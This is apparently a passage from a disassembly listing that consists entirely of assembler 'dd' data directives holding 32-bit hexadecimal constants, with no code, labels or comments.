		dd 78417F76h, 29407BC8h, 0A0E361CCh, 71199108h,	40864AE6h
		dd 4EB3E104h, 0C70E036Eh, 0A4FC8D62h, 24BC6758h, 0C4962180h
		dd 0D4001B0Bh, 87B1FCFBh, 90060F07h, 0A74B034Dh, 0BD11835Dh
		dd 845865BFh, 88381360h, 0CA000954h, 4D2AEE5Bh,	2E6A0B1Ah
		dd 8C84E828h, 7D318E7Ah, 0E442845Bh, 8CFAD9h, 3A39AC58h
		dd 7228CF02h, 7A66D467h, 48EB64D4h, 0AE6CC186h,	0CA5434A0h
		dd 58B46D0Bh, 3CD4C44Ch, 83014167h, 472ECC35h, 2C222B06h
		dd 4FDC5CBDh, 0D8631DA0h, 0B8967F05h, 2D0B2D88h, 1EAA9418h
		dd 8A08EF0h, 630B1C93h,	4A3F05D5h, 0E702757Ch, 0FCDA7DDDh
		dd 0C423F524h, 0A22108h, 0E2819FE0h, 80977D01h,	6CF7879Ch
		dd 80154B0Ch, 9CA67ECh,	0EB883CBCh, 1118269Fh, 7F2164FEh
		dd 2842D208h, 60E42B31h, 1C478007h, 0D9B07477h,	16FA852Ah
		dd 819EE10Bh, 1E904F0h,	2C00091Fh, 0B813ABA0h, 200E5A16h
		dd 0F52F7162h, 0B0E9080Bh, 4022FBh, 4CC73A03h, 0ABDAB95h
		dd 92FD6CCh, 0D464051Ch, 0C8881278h, 9F448A44h,	459025FFh
		dd 0BC004CC4h, 21E62C32h, 0B0A02648h, 0FC1F25E8h, 0B677EC66h
		dd 0A5808097h, 2DE9F563h, 28208509h, 82D527C9h,	86B76C01h
		dd 1E064A9Dh, 0A0F0E1FCh, 91A85798h, 8D250C24h,	89527860h
		dd 7C2224ACh, 2973200Ch, 0BC48F3F5h, 45095EE6h,	0E6A8431Ch
		dd 0B01D1F80h, 0CEE62B40h, 1C0FEEh, 70115F1Fh, 545C08A9h
		dd 48165277h, 143958B5h, 0C20B4885h, 0B6E0D00Fh, 14A9DF7Ch
		dd 9AB513A7h, 81304294h, 9C28D6DCh, 544A9447h, 30B82EADh
		dd 0E3E1E832h, 8232B8AFh, 0A8809538h, 0CCCFD408h, 0D7E28090h
		dd 0C0409096h, 1E61A73Eh, 8054B036h, 6D2C9F02h,	6A17B9B3h
		dd 5C20F99Bh, 9D26A9h, 7B1DAF91h, 0B723EAB6h, 0EB88AB02h
		dd 68224416h, 90C80E00h, 39BB6538h, 57FC8288h, 94250864h
		dd 3964E437h, 4A01EE21h, 781301E3h, 0F089E1C9h,	554A56B0h
		dd 60679C04h, 3424E4h, 5B7B6206h, 9E9B43F4h, 2407400Eh
		dd 64C829C5h, 75A70030h, 0E46D15C0h, 8001CF4Eh,	98083AB1h
		dd 0FCCCB57Ah, 3DD1034h, 2186091Eh, 2EC0D035h, 494D2C6h
		dd 0C0BB75D6h, 1E05E100h, 0AB466106h, 0D9D7F9h,	3319C7AFh
		dd 90FC273Ch, 0BA1FA913h, 84E1504h, 0BE0358E2h,	55B823EFh
		dd 8F0EA1F8h, 57EE2000h, 82CD46Fh, 0AB4C04CEh, 0A0E40A7Bh
		dd 0A44010ACh, 0BCD4B4FBh, 0E24A2E03h, 8A0B019h, 3E0036BFh
		dd 6D41A3ACh, 26A93A7Dh, 0B380DD9h, 0C986D7h, 1E102D5Fh
		dd 0F18F1EE9h, 6FB1A08Bh, 2D8B93Ch, 37E5ACDBh, 2C5E7BB6h
		dd 0F8F48192h, 0C4BF07E9h, 0D0AC736Ch, 0DC06946Ah, 4B00D677h
		dd 0E304EDCCh, 2867D00Fh, 0ED1CEFh, 7F7A7E3Dh, 7271D2FDh
		dd 20813A2Ch, 1280F849h, 886FCFC0h, 0DC02FCDCh,	0DB8DF62Ah
		dd 804488h, 23511E09h, 3C95E856h, 0A81B612h, 90FDC49Ch
		dd 106E0091h, 0E0AEEF16h, 0D30253A9h, 0E2FC1B46h, 0DC44FAh
		dd 0A7656771h, 7508E00Eh, 2290502Eh, 0A42F8B00h, 48611B5Ch
		dd 0D8224CF1h, 98FAD4E3h, 56C42E01h, 90C2F96Eh,	0D485DC78h
		dd 2318B261h, 6A2A0F1Fh, 0FE8991CFh, 0E8836CBAh, 0D4F87319h
		dd 0F4A8FB57h, 0A70E0764h, 73B7E56Bh, 0A50088h,	4380CC65h
		dd 0C16321EFh, 0D358051Eh, 44F47062h, 644AD4D7h, 30802CCCh
		dd 0FB29810Bh, 90007F03h, 0CA1D0D46h, 704ABh, 0E66E9A2Ah
		dd 0E7B74C66h, 1348994Ch, 1C05B5A4h, 78312ECFh,	0FC080C58h
		dd 92824499h, 0DA104B91h, 4014B6F0h, 9F3F7236h,	4804DA1Eh
		dd 3501480h, 26F92E65h,	13F031FBh, 8A40D0F7h, 0BD005DE1h
		dd 95CD3D89h, 480AB4F3h, 180A4F7h, 57166FB7h, 80D89338h
		dd 860F602Dh, 5C43589Ah, 10096AC2h, 2C51341Eh, 0EA876700h
		dd 1C178FEh, 0D905034Ch, 0F8FDDCEBh, 5D2EE3E5h,	84453070h
		dd 72E7C8A4h, 0FA720751h, 0DF050ED3h, 0C35F14C0h, 0DF3B5456h
		dd 280C4CA3h, 10B2A8C5h, 0B2A1BC3Eh, 0E45F79A2h, 78A402ECh
		dd 0D5A7F243h, 85ECD5E0h, 0B8D52C5Ah, 231308C2h, 410180FBh
		dd 99F0DB95h, 7DD5C7BFh, 9198626Eh, 21D27F19h, 3CCA9D63h
		dd 62D78h, 2580AD4Ch, 7FB61165h, 0E6D727E2h, 42BCB6A0h
		dd 23C07D77h, 0FE7E7CD1h, 43C11802h, 82860C08h,	64F6B22Ch
		dd 0E0A00180h, 6A76ABBDh, 8B01DC52h, 0A3E8EF01h, 5459B06Fh
		dd 0C6CE2821h, 71924270h, 0AB33A500h, 0F7A45608h, 150B003h
		dd 2D9E3AC0h, 30FBAF88h, 0B5881E64h, 0A0109552h, 4C94BBEBh
		dd 688904Fh, 0FAE75C81h, 7463B48Dh, 3D2F1F01h, 0B82932D8h
		dd 8E127660h, 0B8E1024Ch, 0A82C6C38h, 0A9801BFCh, 0D22FACC0h
		dd 1F01497Ch, 405D9BD3h, 412AFAF8h, 30B1903Ch, 3CCE886h
		dd 9F1A950Fh, 8527E82Dh, 0B4717AB5h, 6024408h, 0ABD5091Dh
		dd 0A074BFh, 2272B861h,	0D611E2F7h, 0CA1D415Dh,	0F589323Ah
		dd 0C23F44Ch, 9FF83706h, 60C0B8Ah, 601F6794h, 0C88B8209h
		dd 0BF8490EFh, 0F6A40025h, 4995C615h, 6409FB96h, 806D8788h
		dd 933128EAh, 1E080A41h, 91406681h, 0F0204AD5h,	1904C9Ch
		dd 9660A07Bh, 0F53908C0h, 0C91C30E3h, 0B71F8444h, 7E054800h
		dd 0FB163A73h, 5027FA3Bh, 0D897C863h, 0DA5265h,	9B825015h
		dd 0C385D73Eh, 256BEA06h, 0D91181h, 7DC26F98h, 437C2B41h
		dd 0E7B01400h, 8660ACCh, 1630B02Dh, 84230F7h, 84A0E268h
		dd 39D68802h, 5FEA072h,	0B2B48126h, 20B312A7h, 34461BFh
		dd 0F3AA1200h, 4DFCBA6Ch, 0BC8F018Ah, 0F9E4089Ah, 0CC598070h
		dd 638CAC8Dh, 22E5001Bh, 1D2C73ECh, 0B2059542h,	0D3FAE3Ch
		dd 94386CF1h, 580EBF80h, 0DD01E2E8h, 0AC3B2214h, 9463A113h
		dd 0AF4C9400h, 0AE0FA459h, 0BC44C4A2h, 926E7E00h, 6421C5BAh
		dd 0DF3F38C7h, 24F072B8h, 8B8D83Ch, 84926F80h, 1FD60E4h
		dd 4DC730A9h, 0D49BA2EAh, 6C0F4E51h, 246EAC7Bh,	9CB2073Dh
		dd 0BF969C00h, 0B44D18B2h, 0FA291E0Bh, 5F7024E3h, 0B0A0E4h
		dd 0DF75039Ch, 0A1797C0Fh, 0B3540900h, 581B28A4h, 9B9C0589h
		dd 0D0B1E7F8h, 8540FACh, 74223826h, 0D74E8069h,	417C5FAh
		dd 86ABEADCh, 54648885h, 0B3B1D601h, 0E1BF22AFh, 0E348203Bh
		dd 0DE006775h, 0DC30286Dh, 4EC695Dh, 8B416F88h,	44B992h
		dd 952C16AEh, 501B8E18h, 0B4E49473h, 0C20640A8h, 26045145h
		dd 1B78678Eh, 5F1348C1h, 0FD030472h, 0A8763EA3h, 69D84ED3h
		dd 6B49FAF4h, 0B930B24h, 8094D1CDh, 70E1ED05h, 12009F59h
		dd 481E7F06h, 180CB707h, 59AA24F5h, 0D103091Fh,	11C4EE0Ah
		dd 4C238207h, 0B91F75F4h, 0C079288h, 26500524h,	0A82F1478h
		dd 1150208Dh, 4F202F89h, 3A744031h, 7BB14649h, 0C098FD5Ch
		dd 5CA13605h, 4B1400DEh, 7F074445h, 74BE12ABh, 8E392740h
		dd 0A7706h, 169CDAFAh, 8B291AABh, 7CB3C912h, 0D554E489h
		dd 0E439FCC2h, 777E00E8h, 2D5C0AB3h, 2133B090h,	0A1D32891h
		dd 9C54C7FBh, 4AF18490h, 708448E2h, 28A0D580h, 7F0234F0h
		dd 5409BC3h, 8BE411Eh, 0B90A7030h, 2CA9ADB8h, 5D01C80h
		dd 99D087DAh, 1EA8229Ch, 642233AFh, 0D912Ch, 0CCC4E25Dh
		dd 34A782Dh, 1EE1B481h,	0A0E0F209h, 75859E9h, 28C201ECh
		dd 872D7D1h, 0C30C055h,	576517h, 0DC1C51A1h, 9AB56140h
		dd 878A88A3h, 188B5444h, 0F46F17B8h, 61081CF8h,	16806BE9h
		dd 701CC8D3h, 337A1600h, 1CB6E435h, 142D004Eh, 0B10CFB36h
		dd 0AC05DC94h, 4D89D721h
		dd 883118B4h, 0D80053C5h, 0BE28CAF5h, 0D444B8h,	27413D66h
		dd 213C08F7h, 7EDD6807h, 9150A419h, 4FE2724Dh, 0F52440F9h
		dd 1851F889h, 36C9FE01h, 19235657h, 1F07B0DFh, 5F60F60Ch
		dd 387C892Fh, 8D210580h, 0C4A11E01h, 0C406AC20h, 0CCBF9121h
		dd 2E003698h, 940FAD33h, 3BCA6C74h, 311E2DD1h, 0E908028Fh
		dd 0DCD0A180h, 295AAC77h, 1CA85820h, 8F1A1C58h,	0CC6640F5h
		dd 7E5E1871h, 57D493Eh,	0DDB45BA0h, 9C16C8A7h, 0E474E4B5h
		dd 82CEF784h, 8605DCF0h, 48B10193h, 416551F5h, 195C00F6h
		dd 0B5943C5Bh, 4152201Fh, 0CE42CB00h, 1E076A46h, 0C5C045C7h
		dd 0F58FD358h, 2C35CCCCh, 70859009h, 10200527h,	1060C009h
		dd 1716B194h, 911498Fh,	0BCD86648h, 0FA6222h, 6B381C7Eh
		dd 1E971142h, 0AA0CB0A0h, 1412FF0Ch, 0E91008AFh, 40A87EF6h
		dd 0A5A879DFh, 0BFFEB8EAh, 407D3A03h, 0C8C705D1h, 1F6A1E4h
		dd 8FB33F2h, 48EF2C6Fh,	7200C5B0h, 141A2DFEh, 35867Ch
		dd 0BE129226h, 7A6407DBh, 0CADF600Bh, 64D1B3h, 58DD4227h
		dd 8096588h, 900FABF7h,	222FE648h, 0F513210Dh, 80F2C6FCh
		dd 1CC88A5Fh, 0EBDA2CCh, 11FBFFAh, 0F6BB8AD4h, 4F5791C4h
		dd 2020CD0Ch, 0C940324h, 11BCD94Bh, 0CD0B928Fh,	0EABCE4B4h
		dd 46620030h, 1A608FD6h, 0BF3E49D3h, 9F2F8257h,	5EFA755Bh
		dd 6CC38E38h, 2B141300h, 0AF00FCC1h, 7498622Fh,	1836916Bh
		dd 916EF9E7h, 83008729h, 0B4FB09E0h, 5A62813Ah,	80D02708h
		dd 598DD3BBh, 85AC800Fh, 0A5CB605Eh, 39649B1Bh,	7A491E3h
		dd 208119Ch, 0A9A12866h, 10D49Fh, 291939D1h, 0D34F1404h
		dd 86E6EC04h, 237B488h,	12158422h, 44D6E407h, 0C0E42Fh
		dd 23594E5Eh, 99394CC3h, 0B678320Ah, 6340A87Eh,	30E405B7h
		dd 0D470EA54h, 8B9627Dh, 0E1589882h, 3DE1E086h,	0EE84171Eh
		dd 7DE8D27Bh, 0C23CF051h, 0C9C01458h, 981C8F35h, 80C89F3Fh
		dd 3B34F44Fh, 2252415h,	0EF7CA29Ch, 0C4DE1EB9h,	24073988h
		dd 0C015608Ch, 0DB00C489h, 0BF2C2628h, 1780D5ABh, 8861D7CCh
		dd 0AE779F7Ch, 0BF3FA03Dh, 603789BBh, 80F06A48h, 2BC6B53Dh
		dd 218C139Bh, 6610F063h, 6DD71C84h, 2685C9FCh, 53420472h
		dd 0D8059115h, 0FB26890Bh, 25124424h, 0EB3E34E2h, 7D86409h
		dd 20553C84h, 16F7999Fh, 905EFECAh, 0A5A9E068h,	771C6A00h
		dd 0F9F6FCCDh, 0E69E09F1h, 240464B1h, 0B40B532Dh, 86005924h
		dd 49D25DB7h, 0AB18C507h, 20B05B24h, 77674601h,	0D4211641h
		dd 789C3704h, 0FC8010A9h, 4EFA36BDh, 40C702C3h,	0FDF0F46Eh
		dd 0F5A6C82h, 7925F522h, 0D7D88B74h, 0F2018844h, 54EDDA24h
		dd 73E49CBBh, 9E9F8C8h,	445F22A1h, 20F0B4D8h, 61B7852Dh
		dd 0BC792F10h, 0F80C7B04h, 0A88481A1h, 44FB02A7h, 0DD9CC1E8h
		dd 3B417FD6h, 0D4AE9020h, 22DE0E3Ch, 41DDA05Dh,	4C58485Ch
		dd 23EA82A3h, 469AF747h, 0C37D00ECh, 6AC9E930h,	4B07AEA9h
		dd 4E53BFEAh, 0F27EACD1h, 7BB0016Eh, 2BFE09D4h,	8F84094h
		dd 322AB280h, 86A05E8Ah, 0A87D351Ah, 0DCE1F901h, 2D05DF18h
		dd 27F6F830h, 4C301289h, 0E40298FDh, 3C3A949Eh,	51C88FA0h
		dd 0DC85B575h, 69CC084h, 9A25D7D3h, 0A600447Bh,	7F8743B4h
		dd 900C8A4h, 0FCE92ECEh, 0C5ACEE6Eh, 0F8FB3E48h, 0F16180E8h
		dd 747E7B8h, 0CE554965h, 71573671h, 0BC3AAC86h,	0B1A10039h
		dd 0F7487A3Dh, 478F0A3Ch, 12D07F64h, 9FCE396h, 56A5C719h
		dd 2060173Ch, 2E2CEB48h, 29121100h, 0B1E281BDh,	39610938h
		dd 0C83E8A8h, 14B9A202h, 80A83829h, 0A024F81Ch,	92BD035Fh
		dd 640C3CC6h, 38CAA398h, 1FB7360Eh, 751480C7h, 0E569F7h
		dd 0A272C2F8h, 3A67706Ah, 9102EF1Ch, 6584E469h,	0B213A3F9h
		dd 0BA7A0328h, 0A07F41AEh, 7872D0B2h, 0F93600F3h, 0EE7CADC7h
		dd 24B4B633h, 92FE4240h, 0B7403CAh, 0D832EC7h, 0F822F7C0h
		dd 0ADFE214h, 0C9FD2D8Ch, 9310B298h, 0A8004133h, 95083BCBh
		dd 0F2D2A05Ch, 0ACA701D3h, 858458AAh, 8078227Eh, 0A007654Ah
		dd 0A4531297h, 0D024890Bh, 0FA018555h, 0F7D6E514h, 0C31A1B3h
		dd 0D7DC212Eh, 3D51BC89h, 0F02A290Dh, 75EC202Dh, 0ADC0D1h
		dd 0D999AB8h, 44576BD9h, 2E720E00h, 0A4F42168h,	0BF3AE6CBh
		dd 13FA7C13h, 74055710h, 44D898A1h, 8659D7E1h, 1F1C9C0h
		dd 0A60D0CE8h, 86A2B47Ch, 832B4880h, 8B004009h,	0C9CE19ABh
		dd 9BE6F8h, 375CAA30h, 0E4A74DD9h, 862D0870h, 2B4603Eh
		dd 2DF10093h, 642272C1h, 0B51908DCh, 2C913A7Ah,	5980F42Ch
		dd 4ABCCB66h, 1B550B0Bh, 8FC841Ch, 6CBE8440h, 98BC5229h
		dd 372E9340h, 395900B4h, 0DEC9F8A1h, 770BACDDh,	898F30B2h
		dd 0F94CCA08h, 51050394h, 0F3A84703h, 0BD02BFEBh, 0A84366E9h
		dd 0D4E6FEh, 0FA326C90h, 0BB752450h, 1B81E4Ch, 0D0140692h
		dd 5109F6Bh, 0B0A4A994h, 190E8133h, 0B879B05Eh,	0F44B0104h
		dd 0D0E64DD8h, 0B392DCD3h, 0F9902C02h, 44EB8121h, 80B62ED4h
		dd 88844484h, 570060F4h, 9C066EF0h, 174EDE98h, 233D2D9h
		dd 722EE730h, 8D409874h, 627C9Dh, 0D2A842D6h, 0FD107F3Eh
		dd 810052E4h, 93069772h, 0FE9496B5h, 0CC87B7B8h, 2D687328h
		dd 486C4200h, 6732E308h, 0A05325B6h, 0BD9CD8A1h, 926C692Fh
		dd 8A42894h, 81F4B1E2h,	6956A033h, 8FE92099h, 0EF08CA2Ch
		dd 0F524E825h, 2598913Ah, 0A20F3C44h, 692B5C49h, 20146ECDh
		dd 0AE118BE8h, 2E00D7F9h, 819A5240h, 0D63942F3h, 7F8D825Fh
		dd 0D637D8A1h, 199440DCh, 57542FBFh, 8085FC40h,	0E49CB5D5h
		dd 222CADC5h, 0DD88C824h, 58E3098Bh, 400E7442h,	0E71478B4h
		dd 401EBF9Eh, 0ACDECFAEh, 67D84D82h, 5500B4E6h,	4B6AFEF9h
		dd 708D50h, 0FCC7BCB9h,	5AE03AFh, 0DB06BF01h, 9A187FA5h
		dd 7CCFD4E0h, 11894C8h,	0EC886EAFh, 2F7C72A8h, 98667Eh
		dd 0DFADF528h, 102A0572h, 9C2CF094h, 0FCFC3764h, 6605422h
		dd 8005DA60h, 9E60FC24h, 54AD8030h, 278756A4h, 3EA54707h
		dd 15140A3Bh, 411018ABh, 0B1047FA6h, 0DCCA0786h, 1EE068CDh
		dd 3C3E5081h, 883A09FDh, 985423F5h, 0FCC25764h,	98A08958h
		dd 0AD97A54h, 73215954h, 0D6E400A0h, 0A12C27A3h, 1AF36C19h
		dd 6C9F760h, 1338DC67h,	0C26E1B0Bh, 0C40070F9h,	85AFD8Eh
		dd 1B800C7h, 0D74B30B9h, 0B1099A88h, 41D87C6Ch,	706B3768h
		dd 0E876C388h, 8FC9F62Eh, 0EE17D000h, 72ADA03h,	53D9DB1Dh
		dd 576F2DFh, 0AE00FC4Eh, 0B357774Eh, 0F7FCCC4h,	9BFCBCA4h
		dd 2D843A2Ah, 16396410h, 2664CF0Eh, 0F78B4007h,	4CEE0EDh
		dd 2A3A22F9h, 0F0E8C17Dh, 0A3DC00A5h, 0E088053Dh, 0D2A0641Fh
		dd 2C203838h, 281D1035h, 2CE8E063h, 1708140Ch, 0D7902120h
		dd 8C323BB3h, 0F9931085h, 0CC9E307Ch, 8B96AAE7h, 3F94BEE1h
		dd 634AD4C4h, 0C6E6648Dh, 84A4F230h, 5E230A0h, 67B8D000h
		dd 9226F028h, 9C300FEh,	0C521D5D8h, 0F612070Ah,	0CCF9DE7Dh
		dd 69FA3A18h, 0ED1D091Dh, 0C303207Eh, 0D3234680h, 0F8E01007h
		dd 5EB458A4h, 0E88ACC61h, 14D8E6E4h, 98C3830Dh,	0A09DC16h
		dd 9174BE3Ch, 7E06007Ch, 30EACF22h, 2A490FAh, 882B1EEh
		dd 84602C3Eh, 818A8957h, 802742D7h, 2F8136Ah, 7354B5FCh
		dd 0B311A0F9h, 0F9AC885Ah, 0D45D8307h, 0AA50C8F8h, 54335F7h
		dd 736EA1C2h, 87FCFD3Ah, 0A590282Bh, 0FDAC06h, 9E4A71BDh
		dd 97F7BC69h, 6472224Ch
		dd 30E3E391h, 90445204h, 0FB5CA064h, 204C2EBDh,	6023C178h
		dd 0B0EAA2h, 0C90D53B3h, 132C58B1h, 75DCD4A8h, 65268A71h
		dd 0EA608808h, 0F43AC8EBh, 6E602442h, 0CD136400h, 0C84428A4h
		dd 3E918707h, 1D973EFBh, 531CF6Ch, 97544213h, 5441CC46h
		dd 1F88FF78h, 0DE03E463h, 27738758h, 18085993h,	0AA407088h
		dd 5F45C3Bh, 366E7430h,	0C4D44064h, 214ADD7Ch, 0B1380704h
		dd 0BCAC1FF4h, 123556F0h, 0AC88A74Ah, 0D17A0AACh, 0F2D732h
		dd 0F5CD1352h, 87002CBEh, 0CA0DAA98h, 12F274F1h, 20A7084Bh
		dd 0A4AB928Ch, 0BD28B895h, 5878BEh, 61AD40CCh, 0AFB18F88h
		dd 5009F927h, 73912540h, 8885B4D1h, 2C8EB3DBh, 38050907h
		dd 0C40B00E3h, 0E12E7585h, 7117F0D6h, 5690B046h, 97EE1DF0h
		dd 0F95BC92Dh, 0A5C6C810h, 76004CF4h, 7D775436h, 90E2E389h
		dd 0FE2422E8h, 9129E62Fh, 306AD0F8h, 0EAD83274h, 0D9088A00h
		dd 64FF0612h, 4A46FEAEh, 1334C87Fh, 3484D416h, 0BD252203h
		dd 5E6A05B1h, 836A9433h, 3DE2F4F5h, 0BE0B4D4h, 20391Ch
		dd 6B53D041h, 10EADF84h, 395D907h, 63E22C99h, 52E5892Fh
		dd 97930934h, 5491E3A1h, 180295Fh, 0C619460Ah, 2C286B1Ch
		dd 0B35DBE80h, 0E90471B2h, 0F74D2E55h, 149460F4h, 0C4E361CDh
		dd 5CF12C89h, 0D00F0600h, 4AFD9062h, 8A37Dh, 0B88404Eh
		dd 9BE01C7h, 0DCB2C989h, 0F004EB09h, 0CDAE41A2h, 0C42BEA2Eh
		dd 0DA09C08h, 96120643h, 23A82385h, 4EF840C3h, 7D0172AFh
		dd 3C5B0398h, 0B0847CC5h, 0FC59B637h, 0C058E7B8h, 0E3CD7BADh
		dd 7550B37Ch, 4CBC9118h, 0B75D50h, 0C5A26C26h, 3F6EDDB1h
		dd 7AE51301h, 626BD19Dh, 1878146Fh, 0E05181CDh,	0F917284Ah
		dd 0B4129F57h, 1E326088h, 0B9B610h, 0FCF761C9h,	162C2C1Eh
		dd 0C200FE38h, 5541F44h, 97285AF5h, 41C7905Ch, 0D702F755h
		dd 3B215F9Ch, 39A079DAh, 0BA794983h, 38E8651Bh,	7D040695h
		dd 0C050E9F1h, 0E23020BEh, 0A8007C3Ch, 0FD70CD1Ch, 5472FCh
		dd 0F0D45AB6h, 9ADBEC06h, 96E30C04h, 56EAE991h,	1248085Ch
		dd 2EB4A6h, 0D38F088Bh,	6DD0070h, 0A29C02FDh, 8316FE00h
		dd 0F3E3B9Fh, 35070085h, 7BAF33A4h, 0B61A044Ch,	54393C7Ah
		dd 107F4714h, 131C5289h, 8448235Bh, 154080DCh, 4734C459h
		dd 5751F801h, 0CE52E3CBh, 54F983E0h, 0B3DCF4B7h, 0F17B17D8h
		dd 2A8C30E8h, 276469C0h, 58D82CCh, 850B21FAh, 0B464E07Bh
		dd 273017E9h, 0A43E6072h, 2C90C4h, 43224999h, 4AAAA4B6h
		dd 0A2E40802h, 507B91E3h, 3D64418h, 0F86A8500h,	6E9DF480h
		dd 0A12769F6h, 0CE04285Ch, 8C898CDCh, 54E058F4h, 17CA2072h
		dd 0BEB3952Eh, 316F490Bh, 0F51193F0h, 70282E22h, 0E078FDh
		dd 170CD3A1h, 2688D4B9h, 0F4E22F03h, 5A894524h,	1C44C0D1h
		dd 0B92777D3h, 2C50731Eh, 5CD019Ch, 4D9AD73Eh, 22EC2DA8h
		dd 79241F30h, 118380A0h, 0C05325E0h, 33F3100h, 3ECE306Bh
		dd 880CB4DEh, 11BC458Ch, 6D00DDF6h, 36C4E9E6h, 0DE009C9Eh
		dd 8635CA2Dh, 581001h, 8CD1833Dh, 0A6C4DBB7h, 0D3812118h
		dd 0B037D791h, 405C9CECh, 2B290FCDh, 0BFB0891Fh, 71333F00h
		dd 347E22Ch, 0C368A915h, 91119194h, 0B5127F74h,	0CB38B856h
		dd 0F6709160h, 5FC8402Eh, 0BA494C71h, 0E1E050B4h, 0E4866338h
		dd 0D2FFC23h, 884CF0F4h, 0C4983169h, 18A086CCh,	460037CAh
		dd 0DEEE5B4Fh, 25FEB97h, 5A73793Bh, 0CC71A105h,	38A6F900h
		dd 9E5B34Eh, 204FC54Dh,	0CA964401h, 0D71C7157h,	808AEC9h
		dd 4AD1161Dh, 66E430DFh, 0AA3E745Dh, 887D805Ah,	436B16CDh
		dd 580C922Eh, 0D4227C8Bh, 144EE724h, 20A01127h,	5726D708h
		dd 9360CC87h, 7D0A5CB8h, 0C5830E45h, 0F3E00753h, 89FE0B9Ah
		dd 9040FB5Ah, 16A984F1h, 65511D07h, 91C846A5h, 527499Ch
		dd 2C1890B0h, 6EC13095h, 418A88E8h, 0D02508E2h,	899471B8h
		dd 0D0E886E7h, 31000146h, 762B665Dh, 25B13412h,	0A003BFF6h
		dd 89A693DCh, 488F0604h, 0E8800872h, 25538E91h,	448B7396h
		dd 26156453h, 36B0060h,	8556D2BFh, 500D0996h, 0D4F1DFBBh
		dd 9FD8F900h, 7811658h,	0B39CB72h, 0C8EC046h, 1A16A187h
		dd 18C8F69Eh, 0A27600AAh, 58504E94h, 0A5254BA7h, 1C14E49Ch
		dd 80B0C9B2h, 0E00E67A2h, 7C007E14h, 996512DCh,	27D46FDFh
		dd 14100961h, 0E316AF58h, 7820F705h, 26999236h,	0B9E4C7F1h
		dd 0F52514A2h, 0C501021h, 4E78B08h, 2168A2D3h, 22FB1D09h
		dd 81F35202h, 56E2D211h, 0C0E84774h, 4B4FC373h,	3E9A4C0Eh
		dd 0B9336097h, 23F5FD9h, 0E62E0B64h, 0E3211AF0h, 0CC550A81h
		dd 9B86A4A9h, 1E50D04Ah, 409CD8CCh, 80F4E640h, 0BACB00D5h
		dd 952106C9h, 73F9013h,	0BC830766h, 0DFD12827h,	51AC775Dh
		dd 525F60C8h, 7E006C4Eh, 0EF16D663h, 7B58A7h, 189FC585h
		dd 0BE67EBA0h, 0A39DDB79h, 0E1E69384h, 4463B751h, 2AE85400h
		dd 0BED7DBABh, 3EB42C00h, 0A7C844F5h, 5480D414h, 96E6887Eh
		dd 0AF413C96h, 0DC285FF9h, 0ADE6781h, 13F6E42Bh, 7460084Ah
		dd 7116A03h, 0E03A52BBh, 49FB402Bh, 0B50953F1h,	6A85D7FDh
		dd 54C5CF0h, 0AC0FA5CEh, 0D4E42D9Ch, 78C6273Fh,	0B840FB25h
		dd 19D7C4h, 6A7723A9h, 999D94A4h, 0B1121806h, 227011D2h
		dd 8E2234C7h, 405F5CB8h, 8964AF80h, 824CEC8Dh, 0AC9D1DC0h
		dd 0E480179Ah, 0A77E4F38h, 92F1398h, 0AD132424h, 6B87480Bh
		dd 2EE980C4h, 4C449D4Ah, 8E4D5400h, 3FF6E2D3h, 0FC689007h
		dd 84B09DA3h, 0FE00BB99h, 0DCB8CDCCh, 153F805h,	0E65D9ADEh
		dd 3FE272F1h, 0F3CC6890h, 0A70100F5h, 0D4085A74h, 51CC8C7h
		dd 5B49916Ah, 9120512Fh, 84B99337h, 0D5EC88C2h,	10808841h
		dd 0F3DED69h, 507D3668h, 8106029h, 0F6005D82h, 85A8CB78h
		dd 95D97CB6h, 2500A0CEh, 3AF5AB0Ah, 3E51637h, 2954CE99h
		dd 95F9B667h, 249448ECh, 0D9565502h, 60316CA2h,	91D35294h
		dd 37E302D0h, 175E43Ah,	0E6F4B330h, 509A2EE8h, 4474B87Eh
		dd 0D10926A2h, 58F8987Ch, 0D07B5830h, 44C24BC0h, 333C9058h
		dd 920BF705h, 0CCBE51h,	0F2D80EE7h, 613D0911h, 2884A34Ch
		dd 24F83504h, 0F1971EA0h, 0D483AA00h, 0F434053Bh, 0A80600F8h
		dd 720EAFEBh, 2F546490h, 1429C1D4h, 0FE80A055h,	2B355250h
		dd 5BF273Ch, 7FB57C60h,	9A45E49Eh, 0D062E8E3h, 18D6CAB3h
		dd 28301F13h, 72860CC2h, 0DF910016h, 0BB029F44h, 0AB00EB5Fh
		dd 0E48F04E9h, 78B6091Ch, 722E2D7Fh, 16A80890h,	199B2400h
		dd 0A1BC799h, 34EC0D4Ch, 3BF826E9h, 600188Ah, 3624A759h
		dd 0C048F4ABh, 1E93027Bh, 73B588D7h, 0BD7EB098h, 873BE33Fh
		dd 22EB1D60h, 74ECA452h, 0CA1F3D00h, 3AF895D5h,	0E8076972h
		dd 51496F2Eh, 58B6AF31h, 7488882Ch, 87205264h, 116F9C97h
		dd 0E3538250h, 1320DB07h, 0FCA8E497h, 606C7A09h, 64FEB9h
		dd 0C00DC1EEh, 0A248B810h, 19E4053Ch, 94099468h, 644635h
		dd 0F9E222BEh, 520C81F1h, 48FB632Fh, 749C2824h,	1CF04Dh
		dd 0CF0D5DD6h, 0D47872D9h, 255862EDh, 572868FBh, 0B6BD011Dh
		dd 0FAEFB7CBh, 25610AFh, 6D5C00BFh, 0CC846699h,	0F800E10Bh
		dd 0B5EFBEB8h, 13DAE3F2h, 20F9F704h, 292082E4h,	0F3643D00h
		dd 0B7133F2Bh, 3B5E4A9h, 89097BA8h, 0FFEC218Fh,	86E3C802h
		dd 5028271Ah, 1175D47Eh, 484ABF3Ah, 134C13CCh, 0FBC7C403h
		dd 0E6D4A001h, 2D409016h
		dd 1C51B0BFh, 0AA9AC800h, 3D340870h, 7BE757h, 58C38C28h
		dd 2EE28FF6h, 0E820784Ah, 0F74AB5E3h, 12045DF4h, 38F4D3FDh
		dd 0EBE2A230h, 0B1F8C55Fh, 1139D416h, 0ECD21444h, 0C5740100h
		dd 92092578h, 0A0F9E1C8h, 0DE6F10h, 0A9113905h,	530B595Bh
		dd 0E2FC7C05h, 0E4EC3AF4h, 5ACF13A0h, 4F09A300h, 648AC76Ah
		dd 0B7A209EEh, 2C18B672h, 0C039922Ch, 0FD3837Fh, 0EA726C8Eh
		dd 821081F6h, 3AE40133h, 4F1B02AEh, 81B66C23h, 0CC145Dh
		dd 8F7A412Eh, 0BE91C386h, 79FD4B00h, 0B6C8F767h, 273309B8h
		dd 94FCCB1Eh, 93249A00h, 5CF49921h, 20C47023h, 1125220Ah
